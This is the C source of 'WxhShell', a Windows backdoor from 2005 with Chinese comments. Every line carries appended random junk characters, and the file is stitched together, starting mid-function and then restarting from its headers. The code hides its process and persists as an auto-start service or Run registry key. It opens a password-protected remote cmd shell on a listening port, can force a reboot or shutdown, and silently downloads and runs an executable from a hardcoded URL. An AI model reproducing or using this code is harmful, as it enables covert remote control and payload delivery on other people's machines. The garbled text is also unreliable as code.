    send(wsh,msg_ws_err,strlen(msg_ws_err),0); elR1NhB|p  
    else { Bp5 %&T k  
    closesocket(wsh); t<"`gM^|  
    ExitThread(0); A6+qS [  
    } QCG-CzJ9 l  
    break; oGyoU#z#  
    } }8ESp3~e_  
  // 获取shell _+)n}Se  
  case 's': { H@1qU|4  
    CmdShell(wsh); -GCU6U|  
    closesocket(wsh); R5mb4  
    ExitThread(0); V6+:g=@U-l  
    break; {MN6JGb|'  
  } YzJWS|]  
  // 退出 p.<d+S<  
  case 'x': { :?}> Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `9k\~D=D~  
    CloseIt(wsh); 3''Uxlo\  
    break; T24$lhM  
    } 1NG[   
  // 离开 F&#I[]#  
  case 'q': { eL'fJcjw<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fB&i{_J  
    closesocket(wsh); zsj]WP6 j  
    WSACleanup(); z =\ENG|x#  
    exit(1); 0C3Y =F  
    break; Q<DXDvL  
        } )Jw$&%/{1  
  } oLtzPC  
  } [S-#}C?~  
 ;\f0II3  
  // 提示信息 +;)Xu}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~OLyG$JJ  
} ,,1y0s0`  
  } (w+SmD  
7<L!" 2VB  
  return; !s ! el;G  
} KNN$+[_;H4  
hD7vjg& Z  
// shell模块句柄 !HtW~8|:  
int CmdShell(SOCKET sock) oA:`=f%\  
{ . Y$xNLoP[  
STARTUPINFO si; ]dV $H  
ZeroMemory(&si,sizeof(si)); ++ 5!8Nv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a<]vHC7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ji1#>;&  
PROCESS_INFORMATION ProcessInfo; wzmQRn;s  
char cmdline[]="cmd"; >I0 a$w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sk_xQo#Y 3  
  return 0; @7;}6,)  
} Q'hs,t1<  
|eFaOL|  
// 自身启动模式 ~$rSy|19  
int StartFromService(void) mVN\  
{ Y4lNxvY  
typedef struct |VjD. ]I  
{ 5/T#>l<  
  DWORD ExitStatus; h Z/p'  
  DWORD PebBaseAddress; 7AqbfLO  
  DWORD AffinityMask; z5D*UOy5M  
  DWORD BasePriority; C[l5[DpH  
  ULONG UniqueProcessId; J l{My^I5  
  ULONG InheritedFromUniqueProcessId; e2>AL  
}   PROCESS_BASIC_INFORMATION; hSN38wy  
><. *5q  
PROCNTQSIP NtQueryInformationProcess; )nq(XM7  
:22wq{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U7e2NES  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Q=(1a11  
b/\l\\$-  
  HANDLE             hProcess; 3<[q>7X  
  PROCESS_BASIC_INFORMATION pbi; m( %PZ*s  
(/9erfuJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J/,m'wH  
  if(NULL == hInst ) return 0; -a"b:Q  
I47sqz7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5^CWF|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gR_Exs'K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @Jb-[W$*  
Uc ; S@  
  if (!NtQueryInformationProcess) return 0; g706*o)h  
g5x>}@ONq7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5zyd;y)|'  
  if(!hProcess) return 0; S!^I<#d K  
x^ cJ~e2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fiw^twz5  
3Tc90p l*t  
  CloseHandle(hProcess); ?%D nIl>  
Z^%HDB9^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Pt% (^  
if(hProcess==NULL) return 0; (h[. Ie  
cK\?wZ| Y  
HMODULE hMod; QF22_D<.}J  
char procName[255];  `=B v+  
unsigned long cbNeeded; u@`y/,PX  
Df]*S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oh9L2"  
.ezZ+@LI+#  
  CloseHandle(hProcess); _fHj8- s/  
hM=X# ;  
if(strstr(procName,"services")) return 1; // 以服务启动 ER}5`*X{  
%WX^']p  
  return 0; // 注册表启动 Id>I.e4  
} Kw:%B|B<T  
/1bQ RI^\  
// 主模块 5Q8s{WQ  
int StartWxhshell(LPSTR lpCmdLine) C}pQFL{B5  
{ 2r]o>X  
  SOCKET wsl; Ysw&J}6e  
BOOL val=TRUE; ~at:\h4:  
  int port=0; T&:~=  
  struct sockaddr_in door; Um*&S.y  
VCIV*5 P  
  if(wscfg.ws_autoins) Install(); NQcg}y  
C0>L<*C  
port=atoi(lpCmdLine); 23a:q{R  
A^zd:h-  
if(port<=0) port=wscfg.ws_port; Mp[2Auf  
e)87 & 7  
  WSADATA data; m}>Q#IVZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A>RK3{7  
}gE^HH'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6!;D],,"#.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k\g:uIsv$  
  door.sin_family = AF_INET; vWL| vR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG~d<kM&8s  
  door.sin_port = htons(port); 9ESV[  
/*GCuc|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y'#uZA3KA  
closesocket(wsl); :oiHf:  
return 1; kP^=  
} O3#eQs  
e5'U[ bQm  
  if(listen(wsl,2) == INVALID_SOCKET) { &;<'AF  
closesocket(wsl); "{2niBx  
return 1; 58eO|c(  
} VtGZB3  
  Wxhshell(wsl); : JSuC  
  WSACleanup(); kE[R9RS!  
][YC.J  
return 0; !!cN4X  
mrr -jo  
} [N<rPHT  
+c__U Qx  
// 以NT服务方式启动 $e{}SQ;fW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2lqy<o  
{ ),^pi?  
DWORD   status = 0; b&AeIU}&  
  DWORD   specificError = 0xfffffff; vkeZ!klYB  
o1-_BlZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +Y$EZL.A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IA`Lp3Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SDs#w  
  serviceStatus.dwWin32ExitCode     = 0; nU isC5HW  
  serviceStatus.dwServiceSpecificExitCode = 0; FJT0lC  
  serviceStatus.dwCheckPoint       = 0; 0F 2p4!@W  
  serviceStatus.dwWaitHint       = 0; >&^jKfY  
@3S:W2k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SzfMQ@~  
  if (hServiceStatusHandle==0) return; _sY; dS/  
QFgKEUNgl  
status = GetLastError(); 1y,/|Y  
  if (status!=NO_ERROR) 3UUN@Tx  
{ "^Y zHq6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P'*Fd3B#A=  
    serviceStatus.dwCheckPoint       = 0; uH[:R vC0  
    serviceStatus.dwWaitHint       = 0; xLgZtLt9  
    serviceStatus.dwWin32ExitCode     = status; J@#rOOu  
    serviceStatus.dwServiceSpecificExitCode = specificError; $\M];S=CY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }02(Y!Gh  
    return; P?zaut  
  } agQD d8oX  
%36@1l-N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #qxo1uV(c  
  serviceStatus.dwCheckPoint       = 0; $R:Q R?   
  serviceStatus.dwWaitHint       = 0; vUDMl Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 432]yhQ  
} o7eWL/1  
D'BGoVP  
// 处理NT服务事件,比如:启动、停止 ^MG"n7)X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SDVnyT  
{ yM,Y8^  
switch(fdwControl) 'E\4/0 !  
{ su3Wk,MLP  
case SERVICE_CONTROL_STOP: xJA{Hws  
  serviceStatus.dwWin32ExitCode = 0; oArJ%Y>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `; j$]  
  serviceStatus.dwCheckPoint   = 0; o/oLL w  
  serviceStatus.dwWaitHint     = 0; % iZM9Q&NC  
  { : LT'#Q8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TO G:N~  
  } ;mPX8bT  
  return; tg\o"QKW9  
case SERVICE_CONTROL_PAUSE: *d PbV.HCl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 81w"*G5AM  
  break; _KkP{g,Y  
case SERVICE_CONTROL_CONTINUE: xV=Tmu6l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mz\l C)\B  
  break; '}"&JO~vPj  
case SERVICE_CONTROL_INTERROGATE: S0}=uL#dt  
  break; wN :"(mQ  
}; xn,9Wj-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8DM! ]L  
} ?nq%'<^^  
@[Q`k=h$  
// 标准应用程序主函数 ydAiH*>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cl{Ar8d}  
{ 2<n@%'OQp  
aPQxpK?  
// 获取操作系统版本 qv'w 7T  
OsIsNt=GetOsVer(); [+!&iN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I0!]J{  
$g/h=w@  
  // 从命令行安装 ?nWzJ5w3  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3xiDt?&H  
vTTXeS-b  
  // 下载执行文件 T k@~w  
if(wscfg.ws_downexe) { 4S[UJ%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d`~~Ww1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5}c8v2R:B  
} bvZ:5M  
 G8!|Lo  
if(!OsIsNt) { E%W w)P  
// 如果时win9x,隐藏进程并且设置为注册表启动 &~2I Fp  
HideProc(); =G" ney2  
StartWxhshell(lpCmdLine); K9y~ e  
} o?6m/Klw6  
else `*U$pg  
  if(StartFromService()) V Ew| N)  
  // 以服务方式启动 t[@>u'YKt  
  StartServiceCtrlDispatcher(DispatchTable); \O\q1 s~  
else l5\V4  
  // 普通方式启动 QHc([%oV  
  StartWxhshell(lpCmdLine); O%N.;Ve  
yxU9W,D v  
return 0; jL'`M%8O  
} #<EYO  
SvrUXf  
*[|+5LVn  
}W&9}9p"  
=========================================== {8oGWQgrj  
F\|4zM  
1ANb=X|hig  
b6p'%;Y/  
lW|v_oP9  
Aa4Tq2G  
" j4+Px%sW  
JodD6 ;P  
#include <stdio.h> Ks@c wY  
#include <string.h> s~9n13z  
#include <windows.h> Vu=/<;-N  
#include <winsock2.h> C,GZ  
#include <winsvc.h> t,IOq[Vtk  
#include <urlmon.h> 8ZLHN',  
xV 2C4K  
#pragma comment (lib, "Ws2_32.lib") 7D4tuXUq2  
#pragma comment (lib, "urlmon.lib") NzTF2ve(  
i^V(LGQF  
#define MAX_USER   100 // 最大客户端连接数 ODhq `?(N  
#define BUF_SOCK   200 // sock buffer xwi6#>  
#define KEY_BUFF   255 // 输入 buffer c+ByEP4EG  
:7mHPe }(  
#define REBOOT     0   // 重启 14jN0\  
#define SHUTDOWN   1   // 关机 G$%F`R[  
.Y"F3 R  
#define DEF_PORT   5000 // 监听端口 32j}ep.*  
rNTLP m  
#define REG_LEN     16   // 注册表键长度 Dad$_%  
#define SVC_LEN     80   // NT服务名长度 0;=- x"  
X 8R`C0   
// 从dll定义API 3?@6QcHl{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X2rKH$<g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ] _5b   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 yy5 l!fv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~BX=n9  
[/%N2mj  
// wxhshell配置信息 e}S+1G6r)  
struct WSCFG { f'H|K+bO  
  int ws_port;         // 监听端口 >]z^.U7=  
  char ws_passstr[REG_LEN]; // 口令 Z6A-i@  
  int ws_autoins;       // 安装标记, 1=yes 0=no nSC2wTH!1  
  char ws_regname[REG_LEN]; // 注册表键名 F= %A9b_a  
  char ws_svcname[REG_LEN]; // 服务名 ?Ve I lD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `fTM/"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,"XiI$Le  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O#^H.B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d]" 4aS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0GXY2+p}S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .V?[<}OJn  
VqpC@C$  
}; pDSNI2  
qq]Iy=  
// default Wxhshell configuration X<P <-e9  
struct WSCFG wscfg={DEF_PORT, |E.BGdS  
    "xuhuanlingzhe",  mPk'a  
    1, {G VA4=UAE  
    "Wxhshell", IhYR4?e  
    "Wxhshell", cgSN:$p(R  
            "WxhShell Service", <7`zc7c]#  
    "Wrsky Windows CmdShell Service", Fu tS  
    "Please Input Your Password: ", Mjy:k|aY"  
  1, a4=(z72xe  
  "http://www.wrsky.com/wxhshell.exe", S!.&#sc  
  "Wxhshell.exe" I4{xQI  
    }; Cul=,;pkB  
q*3keB;X  
// 消息定义模块 ;ryNfP%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !NkCki"W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5$D"uAp<V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d#H9jg15e  
char *msg_ws_ext="\n\rExit."; b' y*\9Ru  
char *msg_ws_end="\n\rQuit."; yy7(')wKO  
char *msg_ws_boot="\n\rReboot..."; dkZe.pv$j  
char *msg_ws_poff="\n\rShutdown..."; >m,hna]RZ  
char *msg_ws_down="\n\rSave to "; k[;)/LfhS  
<\u3p3"[4  
char *msg_ws_err="\n\rErr!"; IrqM_OjC  
char *msg_ws_ok="\n\rOK!"; oDz|%N2s|  
@we1#Vz.  
char ExeFile[MAX_PATH]; Mz p<s<BX  
int nUser = 0; 7MLLx#U  
HANDLE handles[MAX_USER]; '#V@a  
int OsIsNt; _>R aw  
h<`aL;.g  
SERVICE_STATUS       serviceStatus; Y(.e e%;,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {;c'@U  
N8{jvat  
// 函数声明 7GYf#} N  
int Install(void); cR/Nl pX  
int Uninstall(void); jTvcKm|q  
int DownloadFile(char *sURL, SOCKET wsh); %+N]$Q  
int Boot(int flag); Pc`d]*BYi  
void HideProc(void); |'nQvn:{  
int GetOsVer(void); VAz4@r7hkq  
int Wxhshell(SOCKET wsl); ApXf<MAy  
void TalkWithClient(void *cs); 'z(Y9%+a  
int CmdShell(SOCKET sock); f +{=##'0  
int StartFromService(void); '|[V}K5m/f  
int StartWxhshell(LPSTR lpCmdLine); 49~d6fH  
H@=oVyn/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZH_$Q$9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (?7=,A7^  
d +D~NA[M  
// 数据结构和表定义 oLT#'42+H  
SERVICE_TABLE_ENTRY DispatchTable[] = L7-BuW}&  
{ 1 :p'  
{wscfg.ws_svcname, NTServiceMain}, h*k V@Dc  
{NULL, NULL} oS fr5 i  
}; c\{N:S>  
` kT\V'  
// 自我安装 *c$[U{Px  
int Install(void) S\g9 @g.  
{ I'4(Ibl+  
  char svExeFile[MAX_PATH]; ayy\7b  
  HKEY key; ?e$&=FC0;  
  strcpy(svExeFile,ExeFile); g X!>ef  
L 0fe  
// 如果是win9x系统,修改注册表设为自启动 .B:ZyTI  
if(!OsIsNt) { K381B5_h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -e/}DGL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !C#oZU]P  
  RegCloseKey(key); hG?y)g\A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]#)(D-i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Vx [  
  RegCloseKey(key); +'<P W+U$  
  return 0; .gx^L=O:  
    } Zv;nY7B  
  } h;gc5"mG  
} {aY) Qv}  
else { l{{,D57J  
8tx*z"2S  
// 如果是NT以上系统,安装为系统服务 *[Z`0AgP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >GGM76vB=,  
if (schSCManager!=0) !p&<.H_  
{ ~~W.]>f  
  SC_HANDLE schService = CreateService djdTh +>28  
  ( WNGX`V,d  
  schSCManager, WHdMP  
  wscfg.ws_svcname, !9;m~T7.  
  wscfg.ws_svcdisp, ~)U50. CH  
  SERVICE_ALL_ACCESS, &Hb%Q! ^Kb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "lh4Vg\7n  
  SERVICE_AUTO_START,  J=` 8  
  SERVICE_ERROR_NORMAL, NN*L3yx  
  svExeFile, jIubJQR~  
  NULL, }?s-$@$R  
  NULL, 23gN;eD+m6  
  NULL, FEjO}lTK  
  NULL, *7xcwj eP  
  NULL oy^-?+   
  ); l=CAr  
  if (schService!=0) XV]N}~h o`  
  { sgfqIe1  
  CloseServiceHandle(schService); %R0 Wq4}  
  CloseServiceHandle(schSCManager); GW,EyOE+~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :#YC_ id  
  strcat(svExeFile,wscfg.ws_svcname); {rc3`<%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *D? =Ts  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hIe.Mv-I)  
  RegCloseKey(key); .-Lrrk)R+  
  return 0; g0B] ;Y>(  
    } s2O()u-  
  } zPaubqB  
  CloseServiceHandle(schSCManager); CvU$Fsb  
} ?Y4 +3`\x  
} x%viCkq  
Z/q6Q#  
return 1; J@5iD  
} YSP\+ZZ  
]Dq6XR  
// 自我卸载 !85bpQ.  
int Uninstall(void) d{S'6*`D  
{ c4fH/-  
  HKEY key; cp`J ep<T  
$${I[2 R)  
if(!OsIsNt) { Z@zo~*o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v"k ? e  
  RegDeleteValue(key,wscfg.ws_regname); ^*ZaqMA  
  RegCloseKey(key); :uCwWv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EO!,rB7I  
  RegDeleteValue(key,wscfg.ws_regname); w6vbYPCN  
  RegCloseKey(key); KuJ)alD;1  
  return 0; }4C_r'd6  
  } 1-y8Hy_a2  
} 6>]_H(z7  
} <2pp6je\0s  
else { 6Z_V,LD9L  
a|t~&\@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :nIMZRJ_!E  
if (schSCManager!=0) h#YO;m2wd  
{ RTmp$lV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NXOXN]=c<  
  if (schService!=0) %~Yo{4mHs  
  { ",/6bs#$  
  if(DeleteService(schService)!=0) { 4S26TgY  
  CloseServiceHandle(schService); )L b` 4B  
  CloseServiceHandle(schSCManager); F$t]JM  
  return 0; k4q":}M  
  } @[r[l#4yUi  
  CloseServiceHandle(schService); eK7A8\;e  
  } 5M5Bm[X  
  CloseServiceHandle(schSCManager); : @|Rj_S;  
} U"Gx Xrl  
} 1/-3m Po  
%0Ur3  
return 1; Ow;thNN  
} x1 |/  
9y!0WZE{e  
// 从指定url下载文件 ]+I9{%zB%8  
int DownloadFile(char *sURL, SOCKET wsh) 9lq5\ tL-  
{ h .Qk{v  
  HRESULT hr; 7!J-/#!  
char seps[]= "/"; Jqxd92 bI  
char *token; "1a;);S=*)  
char *file; |ke0G  
char myURL[MAX_PATH]; gv67+Mf  
char myFILE[MAX_PATH]; `3\aX|4@  
2K:A4)jZ  
strcpy(myURL,sURL); AS;Sz/YP  
  token=strtok(myURL,seps); N@|<3R!N*e  
  while(token!=NULL) [<XYU,{R  
  { 6{)pF  
    file=token; _^_3>}y5op  
  token=strtok(NULL,seps); A+l(ew5Lw$  
  } )BJkHED{  
6:8s,a3&[k  
GetCurrentDirectory(MAX_PATH,myFILE); GN_L"|#)=  
strcat(myFILE, "\\"); FAM{p=t]HT  
strcat(myFILE, file); Au2?f~#Fv  
  send(wsh,myFILE,strlen(myFILE),0); Htgo=7!?\3  
send(wsh,"...",3,0); B{/og*xd*1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a"@f< wU~  
  if(hr==S_OK) 0Md>-H;ZY  
return 0; _$UJ'W})/  
else *}]#E$  
return 1; b+~_/;Y9  
Z^'~iU-?  
} T";evM66  
sK#) k\w>  
// 系统电源模块 ST{Vi';}  
int Boot(int flag) a_Xwi:e<  
{ .=eEuH  
  HANDLE hToken;  dfFw6R  
  TOKEN_PRIVILEGES tkp; c'Z=uL<Rm  
8&EJ. CQ  
  if(OsIsNt) { JMB#KzvN[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I(M/ X/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |:C0_`M9  
    tkp.PrivilegeCount = 1; a#]V|1*O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ W7}Igx#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j sPavY  
if(flag==REBOOT) { i8?oe%9l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [!)HWgx  
  return 0; 1J[$f>%n]  
} D?dBm  
else { !H\;X`W|~D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 iox0  
  return 0; 3@" :&  
} AUD) =a>  
  } @XJ7ff&  
  else { %np(z&@wi  
if(flag==REBOOT) { "s|P,*Xf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K+)3 LR^  
  return 0; 6,5h4[eF*  
} o}Grb/LJ  
else { 8y27O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'xta/@Sq  
  return 0; aV$kxzEc  
} mo^E8t.  
} 1'/ [x(/]d  
93*d:W8Vr  
return 1; G_1r&[N3  
} {^1O  
U,!qNi}  
// win9x进程隐藏模块 ]EHsRd  
void HideProc(void) ?7fqWlB  
{ 4~Qnhv7  
y#a,d||N1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n#6{K6}k~  
  if ( hKernel != NULL ) PE5*]+lW.  
  { .F,l>wUNe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zg ,=A?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <TVJ9l  
    FreeLibrary(hKernel); ;j9%D`u<  
  } *OA(v^@tx7  
_>vH%FY  
return; @RPQ 1da  
} AZ(zM.y!#_  
S`vt\g$ dN  
// 获取操作系统版本 A8tJ&O rwY  
int GetOsVer(void) e.vt"eRB  
{ Fj`k3~tUw  
  OSVERSIONINFO winfo; n{N0S^h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E2M<I;:EA  
  GetVersionEx(&winfo); QqQhQGV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f$FO 1B)  
  return 1; 4^r6RS@z  
  else =Xvm#/  
  return 0; +d#8/S*  
} +IS6l*_y>6  
)P7ep  
// 客户端句柄模块 .I>rX#aNt  
int Wxhshell(SOCKET wsl) oz=V|7,  
{ c@g(_%_|2  
  SOCKET wsh; =RHtugwy  
  struct sockaddr_in client; ^B1Ft5F`b  
  DWORD myID; i!%WEHPe  
w)ki<Dudg  
  while(nUser<MAX_USER) ulzX$  
{ CJk"yW[,|  
  int nSize=sizeof(client); 7C'@g)@^/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); __eB 7]#E  
  if(wsh==INVALID_SOCKET) return 1; wb9(aS4  
dDA8IW![S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @&G}'6vF!  
if(handles[nUser]==0) Vz0(D  
  closesocket(wsh); )Wle CS_  
else R]yce2w"z  
  nUser++; R ?s;L r  
  } D SX%SE)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }>M\iPO.]*  
v@]SddP,?  
  return 0; Z-lhJ<0/Pa  
} kcUn GiP  
k.b=EX|  
// 关闭 socket 9ye!kYF,  
void CloseIt(SOCKET wsh) LCSvw  
{ G%k&|  
closesocket(wsh); :xHKbWz6j  
nUser--; 4AzDWK@/  
ExitThread(0); hdWVvN  
} K6-)l isf  
0 \ U*  
// 客户端请求句柄 a>l,H#w*vW  
void TalkWithClient(void *cs) C)c*s C5N  
{ _`p-^ I  
C[.Xi  
  SOCKET wsh=(SOCKET)cs; f3Zf97i  
  char pwd[SVC_LEN]; Sed 8Q-m  
  char cmd[KEY_BUFF]; Ej)7[  
char chr[1]; cWo>DuW&  
int i,j; Rd HCbk  
Iu P~Vt{m  
  while (nUser < MAX_USER) { ?{aC-3VAT  
4 .c1  
if(wscfg.ws_passstr) { &[{sA;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )C"ixZ>2xQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $1B?@~&  
  //ZeroMemory(pwd,KEY_BUFF); 0R? @JC  
      i=0; 7k,BE2]"  
  while(i<SVC_LEN) { q)9n%- YgP  
2FaCrc/  
  // 设置超时 bD=H$)  
  fd_set FdRead; *lA+ -gkK*  
  struct timeval TimeOut; L754odc  
  FD_ZERO(&FdRead); ;6 W[%{  
  FD_SET(wsh,&FdRead); Csy$1;"A  
  TimeOut.tv_sec=8; HI{q#  
  TimeOut.tv_usec=0; F?tWx+N<{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q#AIN`H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9]Ue%%vM  
h STcL:b   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _cJ)v/]  
  pwd=chr[0]; N$Ad9W?T  
  if(chr[0]==0xd || chr[0]==0xa) { 5.ab/uk;M  
  pwd=0; r'yNc&~  
  break; UUDHknm"  
  } kh# QT_y  
  i++; iJE:>qOTD5  
    } { i6L/U.  
} r(b:}DN  
  // 如果是非法用户,关闭 socket B-_b.4ND)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]B;`Jf  
} OS`jttU@  
l'q%bi=f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sgP{A}4 W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CR23$<FC  
L3HC-  
while(1) { y+k^CT/u  
P<Bx1H-z-  
  ZeroMemory(cmd,KEY_BUFF); O >+=cg  
UFT JobU  
      // 自动支持客户端 telnet标准   p~3 x=X4  
  j=0; 0ZwXuq  
  while(j<KEY_BUFF) { MvZa;B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L,.~VNy-  
  cmd[j]=chr[0]; jZ-s6r2=  
  if(chr[0]==0xa || chr[0]==0xd) { q/zU'7%@  
  cmd[j]=0; O6/ vFEB  
  break; { rLgyrj$  
  } xE;O =mI  
  j++; b MD|  
    } g(tVghHxt$  
M1WD^?tKQ.  
  // 下载文件 z]rr Q=dAA  
  if(strstr(cmd,"http://")) { m-azd ~r[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]w>o=<?b  
  if(DownloadFile(cmd,wsh)) B VeMV4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `dcz9 *  
  else }R 16WY_'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jr0j0$BF  
  } JMt*GFd  
  else { OS; T;  
@ :Zk,   
